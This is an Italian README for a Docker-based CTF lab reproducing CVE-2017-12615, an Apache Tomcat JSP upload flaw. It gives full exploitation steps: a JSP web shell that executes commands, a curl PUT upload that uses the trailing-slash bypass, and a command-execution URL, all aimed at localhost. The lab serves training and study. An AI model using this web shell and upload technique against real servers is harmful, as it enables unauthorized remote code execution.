Versione inglese di seguito

CVE-2017-12615 Tomcat: esecuzione remota di codice tramite upload JSP

Questo lab simula la vulnerabilità CVE-2017-12615 Tomcat: esecuzione remota di codice tramite upload JSP
Deriva dall'impostazione readonly=false, che consente di caricare file tramite HTTP PUT, inclusi file .jsp che possono eseguire comandi (RCE).

Funzionalità

• Apache Tomcat 7.0.79 (vulnerabile)
• Utilizza un override del DefaultServlet con valore readonly=false
• Consente di utilizzare PUT Upload per inserire file .jsp nella directory web ROOT
• Supporta l'esecuzione di comandi tramite web shell
• Pagina web in stile industriale con una nota interna dimenticata (indizio)
• Il sistema genera automaticamente flag_RANDOM.txt a ogni avvio del container
• Progettato per CTF / Red Team / formazione Pentest

Struttura delle directory

/opt/apache-tomcat-7.0.79/
/opt/apache-tomcat-7.0.79/webapps/ROOT/index.jsp
/opt/apache-tomcat-7.0.79/webapps/ROOT/WEB-INF/web.xml
/tmp/flag_RANDOM.txt
/docker-entrypoint.sh

Utilizzo (Esecuzione del container)

docker compose build
docker compose up -d

Apri il sito web:

http://localhost:8080/

Come testare la vulnerabilità CVE-2017-12615

1) Creare il file payload JSP

cat > shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    String s;
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
    while ((s = r.readLine()) != null) out.println(s + "<br>");
}
%>
EOF

2) Caricare il file tramite PUT (deve esserci / alla fine del nome file)

curl -v -X PUT "http://localhost:8080/shell.jsp/"   -H "Content-Type: text/plain"   --data-binary @shell.jsp

3) Utilizzare la webshell

http://localhost:8080/shell.jsp?cmd=id

Flag

Salvata in:

/tmp/flag_RANDOM.txt

Versione inglese — CVE-2017-12615 Tomcat: esecuzione remota di codice tramite upload JSP

Questo lab simula CVE-2017-12615 Tomcat: esecuzione remota di codice tramite upload JSP, in cui il DefaultServlet di Apache Tomcat è configurato erroneamente con:

readonly=false

Questo consente agli attaccanti di caricare file .jsp tramite HTTP PUT, permettendo l'esecuzione remota di codice.

Funzionalità

• Apache Tomcat 7.0.79 vulnerabile
• Override del DefaultServlet con readonly=false
• PUT Upload → scrive file .jsp arbitrari nella directory web ROOT
• Supporta l'esecuzione di comandi tramite shell JSP
• Pagina di presentazione in stile industriale con un sottile indizio interno
• flag_RANDOM.txt generato automaticamente all'avvio del container
• Adatto per CTF, ricerca e sviluppo di exploit

Esempio di sfruttamento

Caricare una shell JSP

curl -v -X PUT "http://localhost:8080/shell.jsp/"   -H "Content-Type: text/plain"   --data-binary @shell.jsp

Eseguire comandi

http://localhost:8080/shell.jsp?cmd=id

Posizione della flag

/tmp/flag_RANDOM.txt

Dichiarazione di non responsabilità

Solo per scopi educativi, di ricerca e test di penetrazione autorizzati.